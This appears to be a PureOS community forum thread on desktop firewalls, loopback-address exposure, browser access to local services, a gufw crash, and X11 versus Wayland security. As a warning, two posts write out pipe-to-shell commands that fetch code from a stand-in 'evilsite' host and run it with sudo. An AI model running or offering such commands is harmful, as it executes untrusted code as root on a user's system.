There are things you can do, if your risk profile is such that it warrants the headache. For example, 127.0.0.anything counts as loopback localhost, so you can make things which require localhost listen on 127.0.0.5 or something, and firewall off 127.0.0.1. Of course, you’ll have to beat on any application which hardcodes 127.0.0.1. You can also usually redirect local loopback stuff over unix sockets, I even have an LD_PRELOADable library which takes arbitrary TCP sockets (connect or listen) and redirects them to /tmp/transparent/$interface/$port and uses file handle passing to hide what’s going on from the interested application (complete with reflection-magicking select call).
That said, the only real solution is to avoid running untrusted code in the first place. Put it in a VM, better, put it on isolated hardware (Raspberry Pis are cheap, and aren’t x86, so lots of low level exploits will fail). At the last, extensions like no-script are strictly needed when visiting untrusted sites.
cupsd is using localhost which gives 127.0.0.1 and cups would be in use on many systems, so one would need to mung /etc/cups/cupsd.conf for starters.
I’m not convinced that a web browser should allow this sort of connection (internal, whether localhost or not) by default where the web site is external. Ditto, but harder, a mail client.
However, yes, noone should want to run untrusted code.
I would assume that you have about 24 bits to play with i.e. 127.x.y.z counts as loopback. There are enough addresses for everyone.
Oh yeah, add cupsd to the list of things that may be listening out-of-the-box on some distros. I quite happily haven’t had to deal with cupsd in several years now, as I wrote a userspace driver for the b&w dotmatrix printer I have to support, and the other printer takes PDfs over the network. Honestly, printing on Linux is one of the weakest areas, as cups (at least used to) regularly eats itself in one way or another.
It relatively easy to configure your web browser not to allow those connections. Just put a socks5 proxy in line (you can use twisted to do it in a dozen lines or less) and don’t exempt localhost or 127.0.0.1 from the proxy list (and have the proxy server block them, obviously). Only catch is it’s hard to let genuine local traffic through, as you have to start messing with referrer headers. I do agree that non-local content should require permission to access local resources. In theory, it can’t, as the local resource has to specifically allow cross site scripting access, but that doesn’t stop the DoS attack against a non-HTTP service (and the reply is accepted by your OS kernel, passed to your browser, then denied to the JS environment, so it can be still used in timing/sidechannel attacks). I don’t see any browser likely to solve this issue though…
16 million interfaces, at 65 thousand ports each ought to be enough for anyone… I don’t know of any application where you can move to 127.0.0.2 but objects to 127.1.2.3 or similar (which isn’t to say such a program doesn’t exist, as crazy stuff makes it to production all the time).
Nothing to do with the kernel, it’s a configuration issue. All the sane distros added -nolisten tcp to the default Xorg commandline sometime between 2007 and 2011, but it wasn’t until 2015 that Xorg itself made that the default. So you may sometimes still find a server, which was supposed to be headless, with Xorg added but miss-configured. Of course, that sort of server (the one someone set up in a dark closet and forgot) is also the type that may still have the broken bash or ssh which allow remote code execution, since it’s been 5 year (but it’s only been 5 years).
When deciding whether to use any particular security measure, it’s useful to understand what the threat is and how the security measure might address it. In the case of a firewall, the threat is usually from an attacker accessing or attacking a service over the network that is only intended for trusted IPs. So if you have a database server, you might use a firewall to limit access to particular IP address ranges on your internal network. You might block all but internally-routable IP addresses, just in case the database gets exposed to the bare Internet. Or you might forego using a firewall and focus your attention instead on strong authentication measures so only trusted, authenticated clients can talk to the database. Or you might do all of the above so you have defense in depth.
Most desktop distributions (like PureOS) do not enable a firewall by default because there is little value in it–these days there are usually no services running on the desktop distribution by default that are listening for incoming (ingress) connections that you would want to firewall off from the outside world. Most desktop distributions don’t even enable SSH by default. From the outside world, there is little for an attacker to attack over the network that a firewall would help with. While you could block outgoing connections, since the distribution doesn’t know what kind of services and networks you may want to connect to, it can’t effectively set up outgoing (or egress) firewall rules.
The main risk of attack on a desktop isn’t from an attacker accessing a web server, database, or other service running on the desktop (it normally wouldn’t be running any of these services). The main risk comes from the web browser, which is constantly downloading and executing untrusted javascript from every website you visit. The secondary risk comes from downloading and executing code from an untrusted source outside of the web browser, whether that’s from an email attachment or blindly following a “curl www.evilsite.evil/badcode | sudo sh” installation document online.
For the first risk, PureOS has offered Purebrowser in the past which enabled some privacy-enhancing extensions by default. Recently we started making the transition over to Epiphany both to align better with PureOS on the Librem 5, as well as to make it easier to sandbox webapps on the desktop, both with the native Epiphany features that make a site a web app, and ultimately by wrapping the browser in technology like bubblewrap.
The second risk is why we stress the importance of downloading and installing software from our trusted and signed PureOS repository and as we expand the “PureOS Store” we will do so with applications that are reproducibily built so you have an extra degree of safety when installing them.
I block the Microsoft Windows file and printer sharing ports outgoing - mainly in case a guest brings a Windows device. However that’s at the internet gateway not on individual devices. Blocking on individual devices would be counterproductive if someone is actually using this e.g. Samba.
As you say, I am not expecting anyone to set that up by default - although you don’t hear of people intentionally running these protocols bare on the internet. (Some ISPs even block these ports by default.)
i agree it’s easy for somebody coming from windows to have expectations regarding the firewall front-end being installed by default and it’s WAY easier to think of it in terms of something that magically just keeps evil outside while not being massaged at all …
i don’t think we can begin to say enough cautionary tales about this.
for people who prefer to use the latest FireFox or FireFox ESR just install the following extensions
uBlock Origin by Raymond Hill
Privacy Badger by EFF (Electronic Frontier Foundation)
some websites require serious massaging if you run this configuration in conjunction with heavy privacy browser oriented settings. you guys have a great blog post introducing users to this topic but it’s barely scratching the surface …
but the worst enemy yet is the fact that we forget … sometimes even very important stuff … that’s why imo we should revise certain topics from time to time just to keep important stuff freshly ALIVE and KICKING in our mind … “keep the edge sharp” as they say
Coming from Windows enviro and utilizing Kasperski there, this is really my first intro to Linux with PureOS. Confused about the whole topic, but this thread is helpful in getting my head around some of it.
Any additional suggestions to steer me in the right direction?
Just to reiterate that you should not download and run random stuff from the internet, including “scripts”, and especially anything of the general form curl somesite.com/ | sudo bash. The odds are good that anything you need is available in your software repository.
This includes attachments from email too.
If you need something from the internet, and it is a script of some kind, make sure you review and understand what it actually does (not what someone else says it does) before you run it.
I believe you are having wrong impression that additional antivirus program on top of Windows 10 is necessary. As first step, this video might help with what you need to focus on: youtu.be/ QHPJirrluT8 – Safe Setup 12 Tips (#4 Antivirus).
since we’re making distinctions now … let’s not stop here …
competitive-online-gamers are most of the people that keep complaining on the purism forums that wifi and gaming is not a pleasant ENOUGH experience on open-hw/free-sw so they forget what this all is …
e-sports athletes are another thing entirely and so far i haven’t had the priviledge of talking to one here on the Purism forums … but who really knows this is the www after all …
Fair enough. Honestly, I’ve never liked wireless connections at all - whether it’s FOSS all the way down or covered by some 50 page legal agreement which demands the soul of your firstborn and the rights to everything you ever make, forever. A simple Ethernet cable does the job far better in pretty much every way.
I installed gufw from the store, yet when I try to run it, both through GUI and terminal it does not open and I am getting this error: 22:32:05 gnome-shell: /usr/bin/gufw-pkexec: line 13: 5296 Segmentation fault python3 ${LOCATIONS[${i}]} $1
does anyone know how I can remedy this issue? (pureos amber/librem 15v4)
So, to start diagnosing a segmentation fault, we usually need a stack trace. You can get it by running gdb --args $whatever-command-you-ran. Once gdb starts, type r, then once the program crashes, type bt. Paste the output someplace and we can take a look.
I really hope you’ll get an answer (output from gdb) from @skynet, but until then let me just think loudly (if not redundant, while not using it), gufw on Gnome and Xfce should work fine (just on Xorg, don’t know), with KDE Plasma some people reported that $ sudo gufw-pkexec works for them. But still, gufw / gui-ufw might not be friendly to Wayland (on top of Debian 10, maybe not as fine adjusted as when used with Ubuntu 20.04, which loads to Xorg display server by default), or rather vice versa. Again not sure, just trying to understand reasons why to push (or avoid) gufw on PureOS (even though not really looking to have/use optional graphical solution for UFW)?
How about to leave (remove) GUI-UFW aside and start from here: $ sudo ufw --help $ sudo ufw status
So, if you’re on a Wayland compositor, you have to add root to the list of allowed users of your Xwayland X server.
Step 1: install xhost
Step 2: As the user who owns the $WAYLAND_DISPLAY socket, run xhost +SI:localuser:root
Step 3: Use sudo -i or su or whatever to switch to root.
Step 4: Run your command, if it will work with a remote X11 server, it should work with Xwayland.
Hm, haven’t gotten through the entire article yet, but there’s one fairly major technical problem with it in paragraph 3 (repeated later too). It says that in X-land, the window manager sits on top of the X server, and then your window (Firefox in their example) runs on top of the window manager. That is not the case. Your window manager runs on top of X, Firefox then runs on top of X, but X lets the window manager hijack Firefox’s draw commands and reroute them in order to decorate, position, and composite it. This is the central flaw with X11 which Wayland sets out to correct. Both in terms of performance, where opening gedit requires 70+ round-trip blocking calls to the X server, and in terms of security, where any application can act as a window manager, snooping on the window contents of any application connected to the X server. Under Wayland, the application (Firefox) talks directly to the window manager.
